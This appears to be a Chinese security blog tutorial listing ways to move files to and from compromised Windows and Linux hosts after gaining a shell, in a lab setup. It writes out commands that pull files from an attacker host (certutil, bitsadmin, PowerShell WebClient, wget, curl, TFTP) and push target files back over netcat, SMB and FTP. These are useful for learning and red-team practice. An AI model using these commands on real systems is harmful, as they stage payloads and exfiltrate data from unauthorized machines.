当前位置: 首页 > article >正文

文件传输速查表:Windows 和 Linux

文件传输速查表:Windows 和 Linux

免责申明

本文章仅供网络安全相关学习与研究使用,旨在促进技术交流与安全知识普及,严禁将本文内容及相关工具用于未授权的渗透测试或任何违法活动。

重要声明:
由于传播、使用本文章所提供的信息、工具或方法所产生的任何直接或间接后果及损失,均由使用者本人承担,本文作者及发布平台对此不负任何责任。请务必遵守相关法律法规,确保在合法合规范围内进行测试和研究。一旦因不当使用引发任何后果,责任自负。

如发现本文章内容存在侵权问题,请及时联系我们,我们将立即处理并致歉。感谢您的理解与支持!

提示:
文中提及的所有工具及技术,请务必在独立、安全的环境中进行测试,以确保安全性及稳定性。

声明目的:
网络安全是双刃剑,合法合规是基础,请以正当方式使用技术,共同维护健康、安全的网络环境。

在红蓝对抗过程中,文件传输是后渗透场景中的关键步骤。文件传输有多种方法,在本文中我们将逐一介绍。

目录

  • 实验环境配置
  • 使用 wget 进行文件传输
  • 使用 curl 进行文件传输
  • 使用 certutil 进行文件传输
  • 使用 bitsadmin 进行文件传输
  • 使用 PowerShell 进行文件传输
  • 使用 SMB 服务器进行文件传输
  • 使用 SCP 进行文件传输
  • 使用 TFTP 进行文件传输
  • 使用 FTP 传输文件
  • 设置文件传输服务器的不同方法
  • 使用 Netcat 进行文件传输
  • 结论

实验环境配置

在这里,我们进行行文件传输,假设我们已经拿到了目标机器,且我们拥有初始 shell 访问权限。

  • 攻击者机器:Kali Linux(192.168.202.130)
  • 目标机器1:Windows 10(192.168.202.128)
  • 目标机器 2:Centos(192.168.202.129)

在攻击者的机器Kali 中,我们将设置一个updog服务器。它是 Python 的SimpleHTTPServer的替代品。它对于需要轻量级、快速部署的 HTTP 服务器的场景很有用。

要安装服务器,我们将执行以下命令:

pip3 install updog

image-20250106102934122

安装完成后,我们可以使用以下命令在80端口运行服务器:

updog -p 80

image-20250106103030366

使用wget进行文件传输

要传输文件,我们可以使用wget命令。wget是一个强大的命令,可以从网络下载文件。需要注意的是,在 Windows 中使用 wget 进行文件传输时,我们需要提及-o ( -OutFile) 参数才能保存文件。如果不使用参数-o,则只会将其作为对象(即WebResponseObject)返回。Windows 中 wget 的命令是:

powershell wget http://192.168.202.130/safefox.txt -o safefox.txt
dir
type safefox.txt

image-20250106103919923

使用Curl进行文件传输

Curl 是一个强大的命令行工具,可用于使用各种网络协议传输文件。以下是传输文件的命令:

curl http://192.168.202.130/safefox.txt -o safefox.txt

image-20250106104123654

使用certutil进行文件传输

certutil是 Windows 操作系统附带的命令行实用程序,用于管理证书和加密元素。要使用 certutil 传输文件,可以使用以下命令:

certutil -urlcache -f http://192.168.202.130/safefox.txt safefox.txt

image-20250106104213787

certutil 中的-split选项用于将大文件分割成较小的段以执行文件传输。

certutil -urlcache -split -f http://192.168.202.130/safefox.txt safefox.txt

image-20250106104345261

使用Bitsadmin进行文件传输

Bitsadmin是一个命令行实用程序,用于处理 Windows 中的后台智能传输服务 (BITS) 任务。它有助于执行不同的文件传输操作,包括下载和上传文件。文件传输的命令是:

bitsadmin /transfer job http://192.168.202.130/safefox.txt C:\Users\Public\safefox.txt

bitsadmin

执行命令后可见文件传输成功。

image-20250106105204029

使用 PowerShell 进行文件传输

可以通过运行以下命令直接使用 PowerShell 执行文件传输:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.202.130/safefox.txt', 'safefox.txt')

image-20250106105320039

使用 SMB 服务器进行文件传输

SMB 是一种用于通信的协议,用于在网络内提供对文件、端口等的共享访问。为了启用它,我们将使用kali linux 中的impacket-smbserver脚本来共享文件。这里我们将共享目录名称指定为share,这里 share 的意义在于它将文件的长路径转换为单个共享目录。在这里,我们可以将目录的完整路径或pwd作为参数,以便它采用当前目录路径。

impacket-smbserver share $(pwd) -smb2support

image-20250108135745974

设置完成后,我们可以在Windows机器上执行以下命令从共享文件夹复制文件。

copy \\192.168.202.130\share\safefox.txt

image-20250106105715850

copy safefox.txt \\192.168.202.130\share\safefox.txt

image-20250106110217290

image-20250106110321626

为了从另一台 Linux 机器(如 Centos)传输文件,我们可以使用smbclient工具连接共享文件夹,在登录后,我们可以分别使用 put 和 get 命令直接上传和下载文件。

smbclient -L 192.168.202.130
smbclient "\\\\192.168.202.130\share"
ls
get safefox.txt
put data.txt

image-20250106112358371

使用 SCP 进行文件传输

SCP(安全复制协议)是一种在本地系统和远程服务器之间或两个远程服务器之间安全传输文件的方法。它通过SSH(Secure Shell)协议运行,该协议可确保在可能不安全的网络上建立安全连接。它具有跨平台使用的优势,因此 Linux 和 Windows 都支持它。

要将文件从 Windows 复制到 kali,我们将使用以下命令:

scp safefox.txt kali@192.168.202.130:/tmp

image-20250106113152220

image-20250106113235436

要将文件从 kali linux 传输到 windows 机器,我们将使用以下命令:

scp safefox.txt raj@192.168.202.128:/C:/Temp

image-20250106113909292

image-20250106114006797

使用 TFTP 进行文件传输

TFTP(简单文件传输协议)是一种基本的、简单的网络文件传输协议。它通过 UDP 而不是 TCP 运行,这种选择有助于保持协议的轻量性,但意味着它不提供 TCP 提供的可靠性和错误检查。它在 UDP 端口 69 上运行。

image-20250106114510257

要将文件从 kali linux 传输到 windows 机器,我们将在Metasploit框架内使用以下命令:

msfconsole
use auxiliary/server/tftp
set srvhost 192.168.202.130
set tftproot /root/raj
run

image-20250106114225261

要下载文件,我们将在 Windows 机器上运行以下命令:

tftp -i 192.168.202.130 GET safefox.txt

image-20250106114851494

使用 FTP 进行文件传输

FTP(文件传输协议)是一种历史悠久且广泛使用的协议,用于通过网络传输文件。它使用户能够上传、下载和管理远程服务器上的文件。要启用 FTP 服务,我们将使用 Metasploit 框架。需要注意的是,我们在这里保留对服务的身份验证,而不是保留匿名登录。

以下是命令:

use auxiliary/server/ftp
set srvhost 192.168.202.130
set ftproot /root/test
set ftpuser safefox
set ftppass 123
run

image-20250106115332009

服务器启动后,登录FTP服务器验证后即可下载文件。

ftp 192.168.202.130
dir
get safefox.txt

image-20250106122929880

我们还可以使用 pyftpdlib 来使用 python FTP 服务器。它是一个 python 库,可以帮助我们在机器上设置 FTP 服务器。在这里我们将使用它在 kali 机器上设置 FTP 服务器。

首先,我们将使用 pip3 开始安装。

pip3 install pyftpdlib

image-20250106123030299

安装完成后,我们可以通过以下命令使用身份验证启动FTP服务器:

python3 -m pyftpdlib -w -p 21 -u ignite -P 123

image-20250106123510801

服务器启动后,我们可以从 Windows 计算机验证 FTP 服务器的身份并下载文件。要上传文件,我们将使用 put 命令;要下载文件,我们将使用 get 命令。

ftp 192.168.202.130
get kali_data.txt
put data_ftp.txt

image-20250106123359386

要设置用于匿名登录的 FTP 服务器,我们将运行相同的命令,但不需要用户名和密码。

python3 -m pyftpdlib -w -p 21

image-20250106123557011

一旦服务器启用匿名登录,我们就可以执行它并查看文件。

ftp 192.168.202.130
ls

image-20250106123820966

设置文件传输服务器的不同方法

为了执行文件传输,除了使用updog之外,我们还需要设置一个服务器。

要使用PHP设置服务器,我们可以使用以下命令:

php -S 0.0.0.0:8081

image-20250106123859348

image-20250106124052925

要使用python2设置服务器,我们可以使用以下命令:

python2 -m SimpleHTTPServer 80

image-20250106124129481

要使用python3设置服务器,我们可以使用以下命令:

python3 -m http.server 8000

image-20250106124154044

使用 Netcat 进行文件传输

Netcat,通常称为nc,是一种多功能网络工具,旨在通过 TCP 或 UDP 读取和写入网络连接。Netcat 可以通过建立简单的客户端-服务器设置来促进文件传输。

要从 Centos机器传输 kali 机器中的文件,我们可以在 kali 中使用以下命令:

nc -lvp 5555 > file.txt

image-20250106124316177

现在我们可以在Centos中运行以下命令将文件发送到kali机器:

ls
nc 192.168.202.130 5555 < file.txt

image-20250106124718565

image-20250106124800157

类似地,我们也可以在 kali linux 中从 windows 机器接收文件。但是,需要注意的是,目标 windows 机器应该有 nc.exe 二进制文件才能使此方法有效。

以下是我们需要在 Windows 机器上运行的命令:

nc.exe 192.168.202.130 5555 < data.txt

image-20250106125534677

为了在 kali 机器中接收文件,我们将运行以下命令:

nc -lvp 5555 > data.txt
cat data.txt

image-20250106125844242

结论

通过实验,我们已经看到,有多种方法可以将文件从我们的机器传输到目标系统,反之亦然。使用适当的工具进行文件传输取决于个人选择和现实情况。


http://www.kler.cn/a/473270.html

相关文章:

  • 缓存-Redis-常见问题-缓存击穿-永不过期+逻辑过期(全面 易理解)
  • 第四、五章补充:线代本质合集(B站:小崔说数)
  • 运行vue项目,显示“npm”无法识别为 cmdlet、函数、脚本文件或可操作程序的名称
  • 51单片机——定时器中断(重点)
  • 数据结构:LinkedList与链表—面试题(三)
  • 鸿蒙开发(29)弹性布局 (Flex)
  • zookeeper监听机制(Watcher机制)
  • mysql之sql的优化方案(重点)
  • 【关于 vite 使用plugin-legacy兼容低版本浏览器仍出现的问题的情况】
  • 微信小程序实现长按录音,点击播放等功能,CSS实现语音录制动画效果
  • 庐山派k230使用串口通信发送数据驱动四个轮子并且实现摄像头画面识别目标检测功能
  • HCIE-day10-ISIS
  • 计算机视觉目标检测-DETR网络
  • Java-数据结构-链表-高频面试题(2)
  • Goldendb数据库dbtool命令介绍
  • web服务器架构,websocket
  • 使用高云小蜜蜂GW1N-2实现MIPI到LVDS(DVP)转换案例分享
  • Ollama + Openwebui 本地部署大型模型与交互式可视化聊天
  • 自动化脚本本地可执行但是Jenkins上各种报错怎么解决
  • Linux(上):基本知识篇
  • 常用的AT命令,用于查看不同类型的网络信息
  • SQLite 调试与性能优化指南
  • 去掉el-table中自带的边框线
  • 我的前端面试笔记(React篇)
  • NRF24L01模块STM32通信-通信初始化
  • js适配器模式